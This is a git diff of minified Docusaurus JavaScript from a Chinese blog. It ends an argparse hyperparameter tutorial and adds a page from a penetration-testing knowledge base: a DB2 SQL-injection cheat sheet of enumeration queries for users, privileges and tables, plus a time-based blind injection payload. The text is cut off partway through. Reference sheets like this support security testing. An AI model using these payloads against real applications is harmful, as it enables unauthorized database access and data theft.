argparse\u7684\u4f7f\u7528"}),"\n",(0,a.jsx)(n.p,{children:"\u603b\u7684\u6765\u8bf4\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06argparse\u7684\u4f7f\u7528\u5f52\u7eb3\u4e3a\u4ee5\u4e0b\u4e09\u4e2a\u6b65\u9aa4\u3002"}),"\n",(0,a.jsxs)(n.ul,{children:["\n",(0,a.jsxs)(n.li,{children:["\u521b\u5efa",(0,a.jsx)(n.code,{children:"ArgumentParser()"}),"\u5bf9\u8c61"]}),"\n",(0,a.jsxs)(n.li,{children:["\u8c03\u7528",(0,a.jsx)(n.code,{children:"add_argument()"}),"\u65b9\u6cd5\u6dfb\u52a0\u53c2\u6570"]}),"\n",(0,a.jsxs)(n.li,{children:["\u4f7f\u7528",(0,a.jsx)(n.code,{children:"parse_args()"}),"\u89e3\u6790\u53c2\u6570\n\u5728\u63a5\u4e0b\u6765\u7684\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u5c06\u4ee5\u5b9e\u9645\u64cd\u4f5c\u6765\u5b66\u4e60argparse\u7684\u4f7f\u7528\u65b9\u6cd5\u3002"]}),"\n"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-python",children:"# demo.py\nimport argparse\n\n# \u521b\u5efaArgumentParser()\u5bf9\u8c61\nparser = argparse.ArgumentParser()\n\n# \u6dfb\u52a0\u53c2\u6570\nparser.add_argument('-o', '--output', action='store_true', \n help=\"shows output\")\n# action = `store_true` \u4f1a\u5c06output\u53c2\u6570\u8bb0\u5f55\u4e3aTrue\n# type \u89c4\u5b9a\u4e86\u53c2\u6570\u7684\u683c\u5f0f\n# default \u89c4\u5b9a\u4e86\u9ed8\u8ba4\u503c\nparser.add_argument('--lr', type=float, default=3e-5, help='select the learning rate, default=1e-3') \n\nparser.add_argument('--batch_size', type=int, required=True, help='input batch size') \n# \u4f7f\u7528parse_args()\u89e3\u6790\u51fd\u6570\nargs = parser.parse_args()\n\nif args.output:\n print(\"This is some output\")\n print(f\"learning rate:{args.lr} \")\n\n"})}),"\n",(0,a.jsxs)(n.p,{children:["\u6211\u4eec\u5728\u547d\u4ee4\u884c\u4f7f\u7528",(0,a.jsx)(n.code,{children:"python demo.py --lr 3e-4 --batch_size 32"}),"\uff0c\u5c31\u53ef\u4ee5\u770b\u5230\u4ee5\u4e0b\u7684\u8f93\u51fa"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-bash",children:"This is some output\nlearning rate: 3e-4\n"})}),"\n",(0,a.jsxs)(n.p,{children:["argparse\u7684\u53c2\u6570\u4e3b\u8981\u53ef\u4ee5\u5206\u4e3a\u53ef\u9009\u53c2\u6570\u548c\u5fc5\u9009\u53c2\u6570\u3002\u53ef\u9009\u53c2\u6570\u5c31\u8ddf\u6211\u4eec\u7684",(0,a.jsx)(n.code,{children:"lr"}),"\u53c2\u6570\u76f8\u7c7b\u4f3c\uff0c\u672a\u8f93\u5165\u7684\u60c5\u51b5\u4e0b\u4f1a\u8bbe\u7f6e\u4e3a\u9ed8\u8ba4\u503c\u3002\u5fc5\u9009\u53c2\u6570\u5c31\u8ddf\u6211\u4eec\u7684",(0,a.jsx)(n.code,{children:"batch_size"}),"\u53c2\u6570\u76f8\u7c7b\u4f3c\uff0c\u5f53\u6211\u4eec\u7ed9\u53c2\u6570\u8bbe\u7f6e",(0,a.jsx)(n.code,{children:"required =True"}),"\u540e\uff0c\u6211\u4eec\u5c31\u5fc5\u987b\u4f20\u5165\u8be5\u53c2\u6570\uff0c\u5426\u5219\u5c31\u4f1a\u62a5\u9519\u3002\u770b\u5230\u6211\u4eec\u7684\u8f93\u5165\u683c\u5f0f\u540e\uff0c\u6211\u4eec\u53ef\u80fd\u4f1a\u6709\u8fd9\u6837\u4e00\u4e2a\u7591\u95ee\uff0c\u6211\u8f93\u5165\u53c2\u6570\u7684\u65f6\u5019\u4e0d\u4f7f\u7528--\u53ef\u4ee5\u5417\uff1f\u7b54\u6848\u662f\u80af\u5b9a\u7684\uff0c\u4e0d\u8fc7\u6211\u4eec\u9700\u8981\u5728\u8bbe\u7f6e\u4e0a\u505a\u51fa\u4e00\u4e9b\u6539\u53d8\u3002"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-python",children:"# positional.py\nimport argparse\n\n# \u4f4d\u7f6e\u53c2\u6570\nparser = argparse.ArgumentParser()\n\nparser.add_argument('name')\nparser.add_argument('age')\n\nargs = parser.parse_args()\n\nprint(f'{args.name} is {args.age} years old')\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u5f53\u6211\u4eec\u4e0d\u5b9e\u7528--\u540e\uff0c\u5c06\u4f1a\u4e25\u683c\u6309\u7167\u53c2\u6570\u4f4d\u7f6e\u8fdb\u884c\u89e3\u6790\u3002"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-shell",children:"$ positional_arg.py Peter 23\nPeter is 23 years old\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u603b\u7684\u6765\u8bf4\uff0cargparse\u7684\u4f7f\u7528\u5f88\u7b80\u5355\uff0c\u4ee5\u4e0a\u8fd9\u4e9b\u64cd\u4f5c\u5c31\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u8fdb\u884c\u53c2\u6570\u7684\u4fee\u6539\uff0c\u5728\u4e0b\u9762\u7684\u90e8\u5206\uff0c\u6211\u5c06\u4f1a\u5206\u4eab\u6211\u662f\u5982\u4f55\u5728\u6a21\u578b\u8bad\u7ec3\u4e2d\u4f7f\u7528argparse\u8fdb\u884c\u8d85\u53c2\u6570\u7684\u4fee\u6539\u3002"}),"\n",(0,a.jsx)(n.h2,{id:"663-\u66f4\u52a0\u9ad8\u6548\u4f7f\u7528argparse\u4fee\u6539\u8d85\u53c2\u6570",children:"6.6.3 \u66f4\u52a0\u9ad8\u6548\u4f7f\u7528argparse\u4fee\u6539\u8d85\u53c2\u6570"}),"\n",(0,a.jsxs)(n.p,{children:["\u6bcf\u4e2a\u4eba\u90fd\u6709\u7740\u4e0d\u540c\u7684\u8d85\u53c2\u6570\u7ba1\u7406\u65b9\u5f0f\uff0c\u5728\u8fd9\u91cc\u6211\u5c06\u5206\u4eab\u6211\u4f7f\u7528argparse\u7ba1\u7406\u8d85\u53c2\u6570\u7684\u65b9\u5f0f\uff0c\u5e0c\u671b\u53ef\u4ee5\u5bf9\u5927\u5bb6\u6709\u4e00\u4e9b\u501f\u9274\u610f\u4e49\u3002\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u4e3a\u4e86\u4f7f\u4ee3\u7801\u66f4\u52a0\u7b80\u6d01\u548c\u6a21\u5757\u5316\uff0c\u6211\u4e00\u822c\u4f1a\u5c06\u6709\u5173\u8d85\u53c2\u6570\u7684\u64cd\u4f5c\u5199\u5728",(0,a.jsx)(n.code,{children:"config.py"}),"\uff0c\u7136\u540e\u5728",(0,a.jsx)(n.code,{children:"train.py"}),"\u6216\u8005\u5176\u4ed6\u6587\u4ef6\u5bfc\u5165\u5c31\u53ef\u4ee5\u3002\u5177\u4f53\u7684",(0,a.jsx)(n.code,{children:"config.py"}),"\u53ef\u4ee5\u53c2\u8003\u5982\u4e0b\u5185\u5bb9\u3002"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-python",children:"import argparse \n \ndef get_options(parser=argparse.ArgumentParser()): \n \n parser.add_argument('--workers', type=int, default=0, \n help='number of data loading workers, you had better put it ' \n '4 times of your gpu') \n \n parser.add_argument('--batch_size', type=int, default=4, help='input batch size, default=64') \n \n parser.add_argument('--niter', type=int, default=10, help='number of epochs to train for, default=10') \n \n parser.add_argument('--lr', type=float, default=3e-5, help='select the learning rate, default=1e-3') \n \n parser.add_argument('--seed', type=int, default=118, help=\"random seed\") \n \n parser.add_argument('--cuda', action='store_true', default=True, help='enables cuda') \n parser.add_argument('--checkpoint_path',type=str,default='', \n help='Path to load a previous trained model if not empty (default empty)') \n parser.add_argument('--output',action='store_true',default=True,help=\"shows output\") \n \n opt = parser.parse_args() \n \n if opt.output: \n print(f'num_workers: {opt.workers}') \n print(f'batch_size: {opt.batch_size}') \n print(f'epochs (niters) : {opt.niter}') \n print(f'learning rate : {opt.lr}') \n print(f'manual_seed: {opt.seed}') \n print(f'cuda enable: {opt.cuda}') \n print(f'checkpoint_path: {opt.checkpoint_path}') \n \n return opt \n \nif __name__ == '__main__': \n opt = get_options()\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-shell",children:"$ python config.py\n\nnum_workers: 0\nbatch_size: 4\nepochs (niters) : 10\nlearning rate : 3e-05\nmanual_seed: 118\ncuda enable: True\ncheckpoint_path:\n"})}),"\n",(0,a.jsxs)(n.p,{children:["\u968f\u540e\u5728",(0,a.jsx)(n.code,{children:"train.py"}),"\u7b49\u5176\u4ed6\u6587\u4ef6\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528\u4e0b\u9762\u7684\u8fd9\u6837\u7684\u7ed3\u6784\u6765\u8c03\u7528\u53c2\u6570\u3002"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-python",children:"# \u5bfc\u5165\u5fc5\u8981\u5e93\n...\nimport config\n\nopt = config.get_options()\n\nmanual_seed = opt.seed\nnum_workers = opt.workers\nbatch_size = opt.batch_size\nlr = opt.lr\nniters = opt.niters\ncheckpoint_path = opt.checkpoint_path\n\n# \u968f\u673a\u6570\u7684\u8bbe\u7f6e\uff0c\u4fdd\u8bc1\u590d\u73b0\u7ed3\u679c\ndef set_seed(seed):\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n random.seed(seed)\n np.random.seed(seed)\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n\n...\n\n\nif __name__ == '__main__':\n\tset_seed(manual_seed)\n\tfor epoch in range(niters):\n\t\ttrain(model,lr,batch_size,num_workers,checkpoint_path)\n\t\tval(model,lr,batch_size,num_workers,checkpoint_path)\n\n"})}),"\n",(0,a.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,a.jsx)(n.p,{children:"argparse\u7ed9\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u79cd\u65b0\u7684\u66f4\u52a0\u4fbf\u6377\u7684\u65b9\u5f0f\uff0c\u800c\u5728\u4e00\u4e9b\u5927\u578b\u7684\u6df1\u5ea6\u5b66\u4e60\u5e93\u4e2d\u4eba\u4eec\u4e5f\u4f1a\u4f7f\u7528json\u3001dict\u3001yaml\u7b49\u6587\u4ef6\u683c\u5f0f\u53bb\u4fdd\u5b58\u8d85\u53c2\u6570\u8fdb\u884c\u8bad\u7ec3\u3002\u5982\u679c\u5927\u5bb6\u8fd8\u60f3\u8fdb\u4e00\u6b65\u7684\u4e86\u89e3argparse\u7684\u4f7f\u7528\uff0c\u5927\u5bb6\u53ef\u4ee5\u70b9\u51fb\u4e0b\u9762\u63d0\u4f9b\u7684\u8fde\u63a5\u8fdb\u884c\u66f4\u6df1\u7684\u5b66\u4e60\u548c\u4e86\u89e3\u3002"}),"\n",(0,a.jsxs)(n.ol,{children:["\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://geek-docs.com/python/python-tutorial/python-argparse.html",children:"Python argparse \u6559\u7a0b"})}),"\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://docs.python.org/3/library/argparse.html",children:"argparse \u5b98\u65b9\u6559\u7a0b"})}),"\n"]})]})}function c(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,a.jsx)(n,{...e,children:(0,a.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/e232e35c.a2a31baa.js b/assets/js/e232e35c.a2a31baa.js new file mode 100644 index 0000000..042f0ab --- /dev/null +++ b/assets/js/e232e35c.a2a31baa.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6021],{28453:(e,s,l)=>{l.d(s,{R:()=>a,x:()=>t});var n=l(96540);const i={},r=n.createContext(i);function a(e){const s=n.useContext(r);return n.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function t(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:a(e.components),n.createElement(r.Provider,{value:s},e.children)}},87531:(e,s,l)=>{l.r(s),l.d(s,{assets:()=>c,contentTitle:()=>t,default:()=>o,frontMatter:()=>a,metadata:()=>n,toc:()=>d});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","title":"DB2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/09.DB2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/09.DB2.md","tags":[],"version":"current","sidebarPosition":9,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"HQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL"},"next":{"title":"Cassandra","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra"}}');var i=l(74848),r=l(28453);const a={},t=void 0,c={},d=[{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"DB2 \u804a\u5929",id:"db2-\u804a\u5929",level:2},{value:"\u7248\u672c",id:"\u7248\u672c",level:3},{value:"\u8bc4\u8bba",id:"\u8bc4\u8bba",level:3},{value:"\u5f53\u524d\u7528\u6237",id:"\u5f53\u524d\u7528\u6237",level:3},{value:"\u5217\u51fa\u7528\u6237",id:"\u5217\u51fa\u7528\u6237",level:3},{value:"\u5217\u51fa\u6743\u9650",id:"\u5217\u51fa\u6743\u9650",level:3},{value:"\u5217\u51fa DBA \u5e10\u6237",id:"\u5217\u51fa-dba-\u5e10\u6237",level:3},{value:"\u5f53\u524d\u6570\u636e\u5e93",id:"\u5f53\u524d\u6570\u636e\u5e93",level:3},{value:"\u5217\u51fa\u6570\u636e\u5e93",id:"\u5217\u51fa\u6570\u636e\u5e93",level:3},{value:"\u5217\u51fa\u5217",id:"\u5217\u51fa\u5217",level:3},{value:"\u5217\u51fa\u8868\u683c",id:"\u5217\u51fa\u8868\u683c",level:3},{value:"\u4ece\u5217\u540d\u67e5\u627e\u8868",id:"\u4ece\u5217\u540d\u67e5\u627e\u8868",level:3},{value:"\u9009\u62e9\u7b2c N \u884c",id:"\u9009\u62e9\u7b2c-n-\u884c",level:3},{value:"\u9009\u62e9\u7b2c N \u4e2a\u5b57\u7b26",id:"\u9009\u62e9\u7b2c-n-\u4e2a\u5b57\u7b26",level:3},{value:"\u6309\u4f4d\u4e0e/\u6216/\u975e/\u5f02\u6216",id:"\u6309\u4f4d\u4e0e\u6216\u975e\u5f02\u6216",level:3},{value:"ASCII \u503c",id:"ascii-\u503c",level:3},{value:"\u5b57\u7b26->ASCII \u503c",id:"\u5b57\u7b26-ascii-\u503c",level:3},{value:"\u94f8\u9020",id:"\u94f8\u9020",level:3},{value:"\u51f9\u5f62\u5b57\u7b26\u4e32",id:"\u51f9\u5f62\u5b57\u7b26\u4e32",level:3},{value:"IF \u58f0\u660e",id:"if-\u58f0\u660e",level:3},{value:"\u6848\u4f8b\u8bf4\u660e",id:"\u6848\u4f8b\u8bf4\u660e",level:3},{value:"\u907f\u514d\u5f15\u7528",id:"\u907f\u514d\u5f15\u7528",level:3},{value:"\u65f6\u95f4\u5ef6\u8fdf",id:"\u65f6\u95f4\u5ef6\u8fdf",level:3},{value:"\u5e8f\u5217\u5316\u4e3a XML\uff08\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684\uff09",id:"\u5e8f\u5217\u5316\u4e3a-xml\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684",level:3},{value:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee",id:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee",level:3},{value:"\u4e3b\u673a\u540d/IP \u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f",id:"\u4e3b\u673a\u540dip-\u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f",level:3},{value:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e",id:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e",level:3},{value:"\u7cfb\u7edf\u914d\u7f6e",id:"\u7cfb\u7edf\u914d\u7f6e",level:3},{value:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93",id:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93",level:3},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function m(e){const s={a:"a",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(s.table,{children:[(0,i.jsx)(s.thead,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(s.tbody,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.td,{style:{textAlign:"left"},children:(0,i.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,i.jsx)(s.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,i.jsx)(s.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"#db2-cheatsheet",children:"DB2 \u804a\u5929"})}),"\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"#references",children:"References"})}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"db2-\u804a\u5929",children:"DB2 \u804a\u5929"}),"\n",(0,i.jsx)(s.h3,{id:"\u7248\u672c",children:"\u7248\u672c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select versionnumber, version_timestamp from sysibm.sysversions;\nselect service_level from table(sysproc.env_get_inst_info()) as instanceinfo\nselect getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)\nselect prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo\nselect service_level,bld_level from sysibmadm.env_inst_info\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u8bc4\u8bba",children:"\u8bc4\u8bba"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select blah from foo -- comment like this (double dash)\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5f53\u524d\u7528\u6237",children:"\u5f53\u524d\u7528\u6237"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select user from sysibm.sysdummy1\nselect session_user from sysibm.sysdummy1\nselect system_user from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u7528\u6237",children:"\u5217\u51fa\u7528\u6237"}),"\n",(0,i.jsx)(s.p,{children:"DB2 \u4f7f\u7528\u64cd\u4f5c\u7cfb\u7edf\u5e10\u6237"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select distinct(authid) from sysibmadm.privileges -- priv required\nselect grantee from syscat.dbauth -- incomplete results\nselect distinct(definer) from syscat.schemata -- more accurate\nselect distinct(grantee) from sysibm.systabauth -- same as previous\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u6743\u9650",children:"\u5217\u51fa\u6743\u9650"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select * from syscat.tabauth -- shows priv on tables\nselect * from syscat.tabauth where grantee = current user -- shows privs for current user\nselect * from syscat.dbauth where grantee = current user;;\nselect * from SYSIBM.SYSUSERAUTH \u2014 List db2 system privilegies\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa-dba-\u5e10\u6237",children:"\u5217\u51fa DBA \u5e10\u6237"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'\nselect name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = \u2018Y\u2019 or SYSADMAUTH = \u2018G\u2019\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5f53\u524d\u6570\u636e\u5e93",children:"\u5f53\u524d\u6570\u636e\u5e93"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select current server from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u6570\u636e\u5e93",children:"\u5217\u51fa\u6570\u636e\u5e93"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select distinct(table_catalog) from sysibm.tables\nSELECT schemaname FROM syscat.schemata;\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u5217",children:"\u5217\u51fa\u5217"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u8868\u683c",children:"\u5217\u51fa\u8868\u683c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select table_name from sysibm.tables\nselect name from sysibm.systables\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u4ece\u5217\u540d\u67e5\u627e\u8868",children:"\u4ece\u5217\u540d\u67e5\u627e\u8868"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select tbname from sysibm.syscolumns where name='username'\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u9009\u62e9\u7b2c-n-\u884c",children:"\u9009\u62e9\u7b2c N \u884c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u9009\u62e9\u7b2c-n-\u4e2a\u5b57\u7b26",children:"\u9009\u62e9\u7b2c N \u4e2a\u5b57\u7b26"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u6309\u4f4d\u4e0e\u6216\u975e\u5f02\u6216",children:"\u6309\u4f4d\u4e0e/\u6216/\u975e/\u5f02\u6216"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot\n"})}),"\n",(0,i.jsx)(s.h3,{id:"ascii-\u503c",children:"ASCII \u503c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"Char\tselect chr(65) from sysibm.sysdummy1 -- returns 'A'\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5b57\u7b26-ascii-\u503c",children:"\u5b57\u7b26->ASCII \u503c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select ascii('A') from sysibm.sysdummy1 -- returns 65\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u94f8\u9020",children:"\u94f8\u9020"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select cast('123' as integer) from sysibm.sysdummy1\nselect cast(1 as char) from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u51f9\u5f62\u5b57\u7b26\u4e32",children:"\u51f9\u5f62\u5b57\u7b26\u4e32"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'\nselect 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'\n"})}),"\n",(0,i.jsx)(s.h3,{id:"if-\u58f0\u660e",children:"IF \u58f0\u660e"}),"\n",(0,i.jsx)(s.p,{children:"\u4f3c\u4e4e\u53ea\u5141\u8bb8\u5728\u5b58\u50a8\u8fc7\u7a0b\u4e2d\u4f7f\u7528\u3002\u8bf7\u6539\u7528\u6848\u4f8b\u903b\u8f91\u3002"}),"\n",(0,i.jsx)(s.h3,{id:"\u6848\u4f8b\u8bf4\u660e",children:"\u6848\u4f8b\u8bf4\u660e"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u907f\u514d\u5f15\u7528",children:"\u907f\u514d\u5f15\u7528"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns \u201cADRI\u201d. Works without select too\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u65f6\u95f4\u5ef6\u8fdf",children:"\u65f6\u95f4\u5ef6\u8fdf"}),"\n",(0,i.jsx)(s.p,{children:"\u91cd\u67e5\u8be2\uff0c\u4f8b\u5982\uff1a\u5982\u679c\u7528\u6237\u4ee5 ascii 68\uff08'D'\uff09\u5f00\u5934\uff0c\u5219\u5c06\u6267\u884c\u91cd\u67e5\u8be2\uff0c\u4ece\u800c\u5ef6\u8fdf\u54cd\u5e94\u3002\u7136\u800c\uff0c\u5982\u679c\u7528\u6237\u4e0d\u4ece ascii 68 \u5f00\u59cb\uff0c\u90a3\u4e48\u91cd\u67e5\u8be2\u5c06\u4e0d\u4f1a\u6267\u884c\uff0c\u56e0\u6b64\u54cd\u5e94\u5c06\u66f4\u5feb\u3002"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 \n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5e8f\u5217\u5316\u4e3a-xml\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684",children:"\u5e8f\u5217\u5316\u4e3a XML\uff08\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684\uff09"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string\nselect xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements\nselect xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(\u2026 AS varchar(500)) to display the result.\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee",children:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee"}),"\n",(0,i.jsx)(s.p,{children:"\u4f3c\u4e4e\u53ea\u5141\u8bb8\u6765\u81ea\u8fc7\u7a0b\u6216 UDF\u3002"}),"\n",(0,i.jsx)(s.h3,{id:"\u4e3b\u673a\u540dip-\u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f",children:"\u4e3b\u673a\u540d/IP 